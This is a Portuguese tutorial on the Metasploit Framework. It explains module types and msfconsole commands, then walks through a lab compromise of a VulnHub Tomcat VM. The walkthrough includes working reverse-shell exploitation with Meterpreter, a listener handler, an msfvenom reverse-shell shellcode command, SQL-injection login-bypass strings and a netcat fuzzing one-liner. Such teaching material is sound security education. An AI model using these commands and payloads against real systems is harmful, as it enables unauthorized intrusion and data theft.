Skip to main content


Introdução ao Metasploit


O Metasploit é a estrutura de exploração mais amplamente utilizada em testes de penetração, cobrindo desde a coleta de informações até o pós-exploração. Existem duas versões principais:

  • Metasploit Pro: Versão comercial com interface gráfica (GUI), voltada para automação e gerenciamento de tarefas.
  • Metasploit Framework: Versão open-source usada via linha de comando, foco principal deste módulo.

O Metasploit Framework oferece ferramentas para:

  • Coleta de informações
  • Varredura (scanning)
  • Exploração (exploitation)
  • Desenvolvimento de exploits
  • Pós-exploração

Os Componentes principais do Metasploit Framework podem ser resumidos em:

  • msfconsole: Interface de linha de comando principal
  • Módulos: Exploits, scanners, payloads, etc.
  • Ferramentas: Como msfvenom, pattern_create e pattern_offset (estas últimas focadas em desenvolvimento de exploits)


Componentes principais


Ao usar o Metasploit Framework, nós iremos interagir principalmente com o console do Metasploit. Podemos iniciá-lo a partir do terminal usando o comando msfconsole. O console será sua interface principal para interagir com os diferentes módulos do Metasploit Framework. Os Módulos são pequenos componentes dentro do Metasploit Framework que são construídos para executar uma tarefa específica, como explorar uma vulnerabilidade, escanear um alvo ou executar um ataque de força bruta.


Antes de entendermos os módulos, seria útil esclarecer alguns conceitos recorrentes: vulnerabilidade, exploit e payload.

  • Vulnerabilidade: Falha no sistema que pode ser explorada.
  • Exploit: Um código que explora uma vulnerabilidade.
  • Payload: Outro código que será executado após a exploração (ex: abrir uma shell).


msfconsole


O msfconsole é a interface principal para interação com o Metasploit via terminal. É onde nós executamos os comandos, escolhemos os módulos, definimos os alvos e lançamos os exploits.



Tipos de Módulos


O Metasploit Framework foi projetado para ser modular, extensível e multiuso, cobrindo várias fases de um ataque em diversos tipos de sistemas, aplicações e protocolos.



Auxiliary

São os módulos de suporte do Metasploit, que não realizam exploração direta de vulnerabilidades, mas são essenciais para a preparação de um ataque. Eles cobrem funções como escaneamento de portas, coleta de informações, brute-force de serviços, fuzzing de aplicações, entre outros.


São extremamente úteis nas fases iniciais do pentest ou CTF, como reconhecimento e enumeração. Por exemplo, módulos em scanner/portscan ajudam a mapear portas abertas, enquanto gather/credentials permite buscar credenciais vazadas ou armazenadas no alvo. Eles não entregam shells, mas pavimentam o caminho para que isso aconteça.


Terminal
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

21 directories, 2 files


Encoders

Encoders servem para codificar payloads com o objetivo de evitar a detecção por antivírus baseados em assinatura. Ao codificar um payload, ele é transformado em uma forma que não bate diretamente com assinaturas conhecidas. No entanto, os antivírus modernos usam análises heurísticas e comportamentais, então os encoders têm hoje uma eficácia limitada. Eles são úteis em ambientes mais simples, CTFs ou como parte de técnicas mais complexas de evasão.


Terminal
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 encoders
encoders
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

11 directories, 0 files


Evasion

Diferente dos encoders, os módulos de evasão são projetados especificamente para burlar mecanismos de segurança como o Windows Defender, AppLocker e antivírus modernos. Eles usam técnicas como execução via msbuild, regsvcs, InstallUtil, entre outras, para mascarar ou alterar o comportamento de payloads e executáveis. São recursos avançados usados em cenários onde a detecção é uma preocupação real, como ambientes corporativos ou laboratórios mais restritos.


Terminal
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 2 evasion
evasion
└── windows
├── applocker_evasion_install_util.rb
├── applocker_evasion_msbuild.rb
├── applocker_evasion_presentationhost.rb
├── applocker_evasion_regasm_regsvcs.rb
├── applocker_evasion_workflow_compiler.rb
├── process_herpaderping.rb
├── syscall_inject.rb
├── windows_defender_exe.rb
└── windows_defender_js_hta.rb

2 directories, 9 files


Exploits

Esses módulos são responsáveis por realizar a exploração ativa de vulnerabilidades em sistemas, serviços e aplicações. Um módulo exploit utiliza uma falha conhecida para executar código no sistema alvo, geralmente com o objetivo de injetar um payload. Eles estão organizados por sistema operacional ou tecnologia, como windows/, linux/, unix/, multi/, entre outros. Cada exploit pode ser usado em conjunto com um payload, que define o que será executado quando a vulnerabilidade for explorada com sucesso. Essa é a parte “ofensiva direta” do Metasploit.


Terminal
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 exploits
exploits
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows

21 directories, 4 files


NOPs (No Operation)

O NOPs (No Operation) são instruções que literalmente não fazem nada, usadas principalmente como preenchimento em exploits (por exemplo, em buffer overflows). No processador x86, o byte 0x90 representa uma instrução NOP. Esses módulos ajudam a garantir que o shellcode seja executado com estabilidade, criando uma zona de “aterrissagem” para o fluxo de execução após um redirecionamento de EIP/RIP. Hoje em dia são menos usados em exploits modernos, mas ainda importantes para entender como funcionam as execuções em baixa camada.


Terminal
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 nops
nops
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── riscv32le
├── riscv64le
├── sparc
├── tty
├── x64
└── x86

13 directories, 0 files


Payloads

Os payloads são os códigos que serão executados no sistema alvo após a exploração bem-sucedida. Eles podem abrir uma shell, injetar uma backdoor, adicionar um usuário, ou executar qualquer comando arbitrário. Estão organizados em quatro categorias:

  • singles
    Payloads auto-suficientes que executam uma ação completa por conta própria, como abrir uma calculadora ou adicionar um usuário. Eles não precisam baixar nada adicional.

  • stagers
    São responsáveis por criar uma conexão inicial com o sistema alvo. Servem como “porta de entrada” para os stages. Úteis para manter o payload inicial pequeno e discreto.

  • stages
    São baixados e executados após o stager. Contêm a carga útil real, como o Meterpreter. Permitem usar payloads maiores e mais avançados em conjunto com um stager leve.

  • adapters
    Adapters encapsulam payloads do tipo single e os convertem para formatos específicos, como um comando PowerShell. Isso permite executar o payload em ambientes com restrições ou onde é necessário um formato alternativo.


A combinação entre exploit e payload é o que realmente transforma a exploração em algo funcional.


Terminal
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 2 payloads
payloads
├── adapters
│   └── cmd
├── singles
│   ├── aix
│   ├── android
│   ├── apple_ios
│   ├── bsd
│   ├── bsdi
│   ├── cmd
│   ├── firefox
│   ├── generic
│   ├── java
│   ├── linux
│   ├── mainframe
│   ├── nodejs
│   ├── osx
│   ├── php
│   ├── python
│   ├── r
│   ├── ruby
│   ├── solaris
│   ├── tty
│   └── windows
├── stagers
│   ├── android
│   ├── bsd
│   ├── bsdi
│   ├── java
│   ├── linux
│   ├── multi
│   ├── netware
│   ├── osx
│   ├── php
│   ├── python
│   └── windows
└── stages
├── android
├── bsd
├── bsdi
├── java
├── linux
├── multi
├── netware
├── osx
├── php
├── python
└── windows

48 directories, 0 files


Post

Os módulos Post são utilizados na fase de pós-exploração, depois que o acesso ao sistema alvo já foi obtido. Eles permitem realizar ações como coleta de credenciais, extração de tokens, enumeração de usuários, movimentação lateral na rede e muito mais. São divididos por plataforma (windows/, linux/, multi/, etc.), e ajudam a obter persistência, escalar privilégios ou coletar evidências para o relatório. Esses módulos são uma parte fundamental de um pentest completo e profissional.


Terminal
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 post
post
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows

13 directories, 0 files


Msfconsole


O msfconsole é a principal interface de uso do Metasploit Framework, baseada em linha de comando. É por onde vamos interagir com os módulos, configurar parâmetros, executar exploits, definir payloads e realizar ações de pós-exploração. Podemos iniciá-lo digitando o comando:


Terminal
msfconsole

Ao abrir, ele mostra uma arte ASCII e um resumo da quantidade de módulos disponíveis (exploits, payloads, encoders, etc.). O prompt muda para msf6 > (ou msf5 >, dependendo da versão).



Comandos Básicos e Recursos


O msfconsole aceita vários comandos do Linux diretamente, como ls, ping, clear, entre outros. Isso facilita a navegação e execução de tarefas sem sair do console. Exemplo:


Terminal
msf6 > ping -c 1 8.8.8.8

Contudo, recursos como redirecionamento de saída (>) não funcionam, pois o console não é um terminal Linux completo.



Comando help


Use help para listar todos os comandos disponíveis ou help <comando> para saber mais sobre um comando específico. Exemplo:

Terminal
msf6 > help set


Histórico de Comandos


Você pode ver os comandos executados anteriormente com:


Terminal
msf6 > history

Ideal para repetir ações sem reconfigurar tudo.



Auto-complete e Contexto


O msfconsole suporta auto-complete com TAB, o que facilita a escrita de comandos e nomes de módulos. Além disso, ele funciona com contexto: quando você usa um módulo (por exemplo, um exploit), você entra no “contexto” desse módulo. Todas as configurações (como RHOSTS, LPORT) valem apenas para ele. Se você mudar para outro módulo, essas variáveis precisam ser redefinidas, a menos que você use setg para definir como global.



Trabalhando com Módulos


Para usar um módulo:


Terminal
msf6 > use exploit/windows/smb/ms17_010_eternalblue

Você verá o prompt mudar para:

Terminal
msf6 exploit(windows/smb/ms17_010_eternalblue) >

Aqui você pode:

  • Ver os parâmetros com show options
  • Listar payloads compatíveis com show payloads
  • Ver detalhes técnicos com info



Um dos comandos mais poderosos. Serve para buscar módulos por nome, CVE, tipo ou plataforma. Exemplos:


Terminal
msf6 > search ms17-010
msf6 > search type:exploit platform:windows
msf6 > search cve:2017-0144

Você pode usar o número do resultado diretamente:

Terminal
msf6 > use 2

Quando fazemos uma busca com o comando search no msfconsole, uma das colunas exibidas é a Rank (ranking). Essa classificação indica o nível de confiabilidade e estabilidade de um exploit. Ou seja, ela te ajuda a saber se vale a pena usar aquele exploit ou se ele pode causar instabilidade (como travar ou reiniciar o sistema-alvo).


O Metasploit classifica os exploits com base no seu comportamento esperado, eficácia e estabilidade. A tabela abaixo mostra os tipos de ranking, conforme a documentação oficial:

RankSignificado
ExcellentFunciona de forma confiável e raramente causa falhas. Alta taxa de sucesso.
GreatGeralmente confiável, mas pode falhar ocasionalmente.
GoodFunciona, mas pode exigir ajustes ou condições específicas.
NormalComportamento esperado variável. Pode não funcionar ou ser detectado.
AverageFunciona em alguns casos, mas com baixa confiabilidade. Pode causar crashes.
LowPouco confiável, muito instável, uso em situações específicas.
ManualPrecisa de interação manual para funcionar corretamente.

Sempre prefira excellent ou great quando possível, especialmente em ambientes reais ou produção.



Rodando o Exploit


Depois de configurar os parâmetros (como set RHOSTS, set LPORT, etc.), execute o módulo com:

Terminal
msf6 exploit(...) > run

ou

Terminal
msf6 exploit(...) > exploit


Saindo do Contexto


Se quiser sair de um módulo e voltar ao prompt principal, use:


Terminal
msf6 exploit(...) > back


Comando info


É usado para para ver detalhes completos sobre qualquer módulo, incluindo:

  • Nome e descrição
  • Autor
  • Requisitos
  • Sistema alvo
  • CVEs
  • Rank de confiabilidade

Use:

Terminal
info exploit/windows/smb/ms17_010_eternalblue


Resumo Rápido dos Comandos-Chave



ComandoFunção
use <módulo>Seleciona um módulo
show optionsMostra parâmetros do módulo
set <opção> <valor>Define um parâmetro
run ou exploitExecuta o exploit
backSai do módulo atual
infoExibe detalhes técnicos do módulo
search <termo>Procura por módulos
helpExibe ajuda
historyLista comandos anteriores


Metasploit Framework


O Metasploit Framework é uma das ferramentas mais poderosas para testes de intrusão, exploração de vulnerabilidades e pós-exploração. Criado por HD Moore e atualmente mantido pela Rapid7, ele centraliza exploits, payloads, scanners e módulos auxiliares em um único ambiente interativo. A seguir, veremos um procedimento detalhado para uso prático do Metasploit, cobrindo desde a configuração inicial até a exploração de um sistema-alvo.


Antes de continuar baixe a imagem Thales no VulHub e importe ela no seu virtualizador para criar uma VM.


Antes de iniciar o Metasploit, é necessário configurar seu banco de dados para armazenar informações sobre os alvos e sessões de exploração.

Terminal
# Inicia o banco de dados:
sudo systemctl start postgresql

# Ativa o serviço para iniciar automaticamente:
sudo systemctl enable postgresql

# Inicializa o banco de dados do Metasploit:
msfdb init

# Verificar se a configuração ocorreu corretamente:
msfdb status

# Inicia o Metasploit Framework
msfconsole

# Se tudo estiver certo, o Metasploit será carregado e exibirá seu prompt:
msf6 >

A tabela abaixo contém os comandos básicos para usarmos no Metasploit:

ComandoDescrição
search <termo>Pesquisa exploits, payloads e módulos auxiliares
use <exploit>Seleciona um exploit para uso
show optionsExibe os parâmetros configuráveis do módulo
set <opção> <valor>Define um valor para um parâmetro
show payloadsLista os payloads compatíveis com o exploit
exploit ou runExecuta o exploit
sessions -lLista as sessões ativas
sessions -i <id>Entra em uma sessão ativa
exitSai do Metasploit


Levantamento de Informações e Enumeração


O Metasploit permite integrar escaneamentos do Nmap diretamente no seu banco de dados.


Terminal
# Identificar hosts ativos na rede:
msf6 > db_nmap -sn 192.168.40.0/24
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 16:06 EDT
[*] Nmap: Nmap scan report for 192.168.40.1
[*] Nmap: Host is up (0.00012s latency).
[*] Nmap: MAC Address: 52:54:00:A1:44:98 (QEMU virtual NIC)
[*] Nmap: Nmap scan report for miletus.isolated (192.168.40.174)
[*] Nmap: Host is up (0.00010s latency).
[*] Nmap: MAC Address: 52:54:00:DC:F0:39 (QEMU virtual NIC)
[*] Nmap: Nmap scan report for kali.isolated (192.168.40.217)
[*] Nmap: Host is up.
[*] Nmap: Nmap done: 256 IP addresses (3 hosts up) scanned in 14.92 seconds

# Escanear portas de um host específico:
msf6 > db_nmap -sS -sV -p- 192.168.40.174
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 16:07 EDT
[*] Nmap: Nmap scan report for miletus.isolated (192.168.40.174)
[*] Nmap: Host is up (0.000021s latency).
[*] Nmap: Not shown: 65533 closed tcp ports (reset)
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 8080/tcp open http Apache Tomcat 9.0.52
[*] Nmap: MAC Address: 52:54:00:DC:F0:39 (QEMU virtual NIC)
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds

# Pesquisar módulos para um serviço identificado (ex: Tomcat):
msf6 > search tomcat


Explorando uma Vulnerabilidade no Metasploit


Após a enumeração, escolhemos um exploit para testar no alvo:


Terminal
msf6 > use auxiliary/scanner/http/tomcat_mgr_login

Agora vamos configurar os parâmetros do exploit:

Terminal
# Exibe os parâmetros necessários:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options

# Define o IP do alvo:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.40.174
RHOSTS => 192.168.40.174

# Define a porta do serviço vulnerável:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
RPORT => 8080

# Define o usuário do Tomcat:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpUsername admin
HttpUsername => admin

# Define a senha do Tomcat:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpPassword admin
HttpPassword => admin

# Verifique se não faltou configurar nenhum parâmetro obrigatório:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show missing

msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
[+] 192.168.40.174:8080 - Login Successful: tomcat:role1

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpUsername tomcat
HttpUsername => tomcat

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpPassword role1
HttpPassword => role1

Agora vamos escolher um payload adequado:

Terminal
show payloads

msf6 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_upload
[*] Using configured payload java/meterpreter/reverse_tcp

set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp

# Configurando parâmetros para o servidor alvo:
set RHOSTS 192.168.40.174
set RPORT 8080
set HttpUsername tomcat
set HttpPassword role1

# Configurando IP local e porta local para o shell reverso:
set LHOST 192.168.40.217
set LPORT 443

# Configure FingerprintCheck como 'false':
set FingerprintCheck false

Por fim vamos executar o exploit e obter acesso ao sistema:

Terminal
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

# ou:
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.40.217:443
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying Yxid9Z35iG3mGc3xeWEselzIa...
[*] Executing Yxid9Z35iG3mGc3xeWEselzIa...
[*] Undeploying Yxid9Z35iG3mGc3xeWEselzIa ...
[*] Sending stage (58073 bytes) to 192.168.40.174
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (192.168.40.217:443 -> 192.168.40.174:33572) at 2025-03-09 17:13:19 -0400

meterpreter >


Pós-Exploração com o Meterpreter


O Meterpreter é um shell avançado do Metasploit que permite controle remoto e manipulação do sistema comprometido. Ele é carregado na memória do alvo sem deixar rastros no disco, tornando a detecção mais difícil. A tabela abaixo exibe os comandos úteis no Meterpreter:


ComandoDescrição
sysinfoMostra informações do sistema-alvo
psLista os processos em execução
shellAbre um shell interativo no alvo
download <arquivo>Baixa um arquivo do alvo
upload <arquivo>Envia um arquivo para o alvo
screenshotCaptura a tela da vítima
hashdumpObtém os hashes de senha do alvo
migrate <PID>Move o shell para outro processo
backgroundRetorna ao Metasploit sem fechar a sessão

Terminal
# Verificando qual usuário estamos logados:
meterpreter > getuid
Server username: tomcat

# Verificar informações do Sistema:
meterpreter > sysinfo
Computer : miletus
OS : Linux 4.15.0-159-generic (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/linux

# Entre no diretório home:
meterpreter > cd home

# Execute um 'LS':
meterpreter > ls
Listing: /home
==============

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2021-10-14 07:28:04 -0400 thales

# Execute um 'LS' no diretório home do usuário thales:
meterpreter > ls thales
Listing: thales
===============

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100001/--------x 457 fil 2021-10-14 07:30:45 -0400 .bash_history
100445/r--r--r-x 220 fil 2018-04-04 14:30:26 -0400 .bash_logout
100445/r--r--r-x 3771 fil 2018-04-04 14:30:26 -0400 .bashrc
040001/--------x 4096 dir 2021-08-15 12:58:00 -0400 .cache
040001/--------x 4096 dir 2021-08-15 12:58:00 -0400 .gnupg
040555/r-xr-xr-x 4096 dir 2021-08-15 13:50:29 -0400 .local
100445/r--r--r-x 807 fil 2018-04-04 14:30:26 -0400 .profile
100445/r--r--r-x 66 fil 2021-08-15 13:50:18 -0400 .selected_editor
040777/rwxrwxrwx 4096 dir 2021-08-16 16:34:04 -0400 .ssh
100445/r--r--r-x 0 fil 2021-10-14 06:45:25 -0400 .sudo_as_admin_successful
100444/r--r--r-- 107 fil 2021-10-14 05:36:43 -0400 notes.txt
100000/--------- 33 fil 2021-08-15 14:18:54 -0400 user.txt

# leia o conteúdo de 'notes.txt':
meterpreter > cat thales/notes.txt
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.

Vamos abrir um shell reverso sem o uso do meterpreter:

Terminal
# Saia do meterpreter:
meterpreter > exit

# Configure um payload para shell reverso:
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload payload/java/shell_reverse_tcp
payload => java/shell_reverse_tcp

# Execute:
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.40.217:443
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying EWeDqdf...
[*] Executing EWeDqdf...
[*] Undeploying EWeDqdf ...
[*] Undeployed at /manager/html/undeploy
[*] Command shell session 2 opened (192.168.40.217:443 -> 192.168.40.174:33574) at 2025-03-09 17:29:35 -0400

Com isso temos um shell reverso aberto!



Uso de Módulos Auxiliares para Scan e Acesso Remoto


Terminal
# Listar módulos auxiliares disponíveis:
show auxiliary

# Pesquisar por um módulo de scanner para SMB:
search smb

# Usar um scanner SMB para detectar compartilhamentos:
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.40.174
run


Criando um Handler para Conexões Reversas


Um handler no Metasploit é um módulo que escuta conexões de backdoor, permitindo que um atacante controle um sistema comprometido. Ele é essencial para capturar sessões de Meterpreter, shells reversos e payloads personalizados.


Terminal
# Iniciar o handler no Metasploit:
use exploit/multi/handler

# Configurar o payload e os parâmetros:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.40.217
set LPORT 4444

# Iniciar o listener:
exploit -j

Agora qualquer payload enviado para a vítima abrirá uma sessão no Metasploit.



Exploit


Um exploit é um código ou técnica utilizada para tirar vantagem de uma falha de segurança em um sistema, serviço ou aplicação. Um exploit pode explorar um buffer overflow, permitindo que um atacante execute comandos arbitrários. Pode explorar uma falha em um CMS (WordPress, Joomla, etc.) para ganhar acesso administrativo, entre outros tipos.


Os pentesters podem buscar exploits conhecidos nos seguintes bancos de dados:

  • 🔗 Exploit-DB
    Maior repositório público de exploits.

  • 🔗 Rapid7 Vulnerability Database
    Banco de vulnerabilidades da empresa por trás do Metasploit.

  • 🔗 CVE Details
    Lista de falhas documentadas.

  • 🔗 MITRE CVE
    Base oficial de vulnerabilidades.

  • 🔗 VulDB
    O VulDB é um banco de dados de vulnerabilidades que fornece informações detalhadas sobre falhas de segurança, exploits e mitigações, permitindo análise de risco e inteligência de ameaças em tempo real.


No Kali Linux, se não tivermos acesso à internet, podemos usar o searchsploit para procurar exploits localmente:

Terminal
searchsploit apache 2.4

Opções úteis do searchsploit:

Terminal
# Evita overflow na saída:
searchsploit -o

# Faz uma busca exata:
searchsploit -e "SQL Injection"

# Mostra o caminho completo do exploit:
searchsploit -p 1234

# Copia o exploit para um diretório local:
searchsploit -m 1234


Payload


Um payload é o código que o exploit injeta e executa no sistema alvo. Ele pode ter diferentes funções como: criar um backdoor, abrir uma conexão reversa com o atacante, executar comandos remotos, entre outras funcionalidades.

Terminal
# Exemplo de payloads no Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp

Esses comandos definem o EternalBlue como exploit e usa um payload que retorna um shell ao atacante.



Shellcode


Um shellcode é um código de máquina que um exploit usa para executar comandos diretamente na memória do alvo. O Bind Shell faz com que o alvo abra uma porta para conexão do atacante. O Reverse Shell faz com que o alvo inicie uma conexão com o atacante (mais difícil de ser detectado por firewalls).


Terminal
# Gerando um shellcode com msfvenom:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c

O comando acima gera um shellcode reverso para Linux no formato C.



Credenciais


O processo de obtenção e exploração de credenciais em um pentest envolve diversas técnicas, desde a descoberta de senhas padrão até ataques de força-bruta e engenharia social. O objetivo é encontrar credenciais válidas que possam ser usadas para acessar sistemas, escalar privilégios ou movimentar-se lateralmente dentro da rede.


Muitos sistemas vêm com usuários e senhas padrão que, se não forem alterados, podem permitir acesso fácil. Existem alguns sites que podemos usar para encontrar o usuário e senha padrão.



Adivinhação de Senhas (Guessing)

A adivinhação de senha (password guessing) é uma abordagem manual onde usamos informações obtidas na fase de Information Gathering para tentar senhas prováveis.



Brute-Force Attack

O ataque de força-bruta testa várias combinações de senhas automaticamente até encontrar a correta. Podemos usar algumas ferramentas para efetuar o brute-force:

  • Hydra
    Para ataques contra SSH, FTP, RDP, HTTP, etc.

  • Medusa
    Alternativa ao Hydra, mais rápida para alguns serviços.

  • Burp Suite Intruder
    Para testar credenciais em logins web.



Bypass de Autenticação


O bypass de autenticação é uma técnica usada para acessar sistemas protegidos sem fornecer credenciais válidas. Isso ocorre quando um sistema possui falhas de implementação que permitem ao atacante enganá-lo e obter acesso indevido. Se um sistema for vulnerável a bypass de autenticação, um atacante pode entrar como administrador sem precisar de um exploit sofisticado.


Os principais métodos de bypass de autenticação são:

  • Injeção de SQL no Login
  • Manipulação de Headers HTTP
  • Modificação de Cookies e Tokens
  • Bypass via Diretórios Restritos
  • Exploração de Senhas Vazias ou Usuários Fantasmas


Bypass de Login via SQL Injection

Se um sistema não trata corretamente as entradas do usuário, podemos inserir comandos SQL no campo de login para forçar uma autenticação bem-sucedida. Exemplo de login vulnerável seria:

' OR '1'='1' --

As injeções SQL são colocadas no campo de senha de um formulário de login. O código acima sempre retorna verdadeiro, pois '1'='1' é uma condição lógica válida. Já o -- comenta o restante da consulta, ignorando qualquer verificação real da senha.


Outros exemplos de injeção SQL para bypass de login são:

' OR '1'='1' --
' OR ''='
' OR 1]%00
' OR /* or '


Código-Fonte de Páginas Web


Os desenvolvedores muitas vezes deixam credenciais expostas no código-fonte de páginas web. Podemos encontrar essas credenciais e conseguir logar em sistemas que não foram devidamente configurados (alterando essas credenciais).



Buffer Overflow


O Buffer Overflow acontece quando um programa não controla o tamanho da entrada, permitindo que um atacante sobrescreva regiões da memória. Podemos enviar dados aleatórios para um programa e ver se ele quebra. Isso pode levar a duas situações principais:

  • Negação de Serviço (DoS)
    O programa trava ou fecha inesperadamente devido ao estouro da pilha.

  • Exploração
    Um atacante manipula o overflow para controlar a execução do código, podendo executar comandos arbitrários.


Para a exploração, é necessário que se tenha acesso ao código da aplicação para o desenvolvimento do exploit com aplicações de “debugger”. Para executar o fuzzing (testar se a aplicação é vulnerável), é necessário enviar uma quantidade grande de dados ou caracteres que possivelmente não serão tratados e causarão a quebra da aplicação.


Abaixo podemos conferir um exemplo simples:

python3 -c 'print("A" * 1000)' | nc 192.168.1.100 9999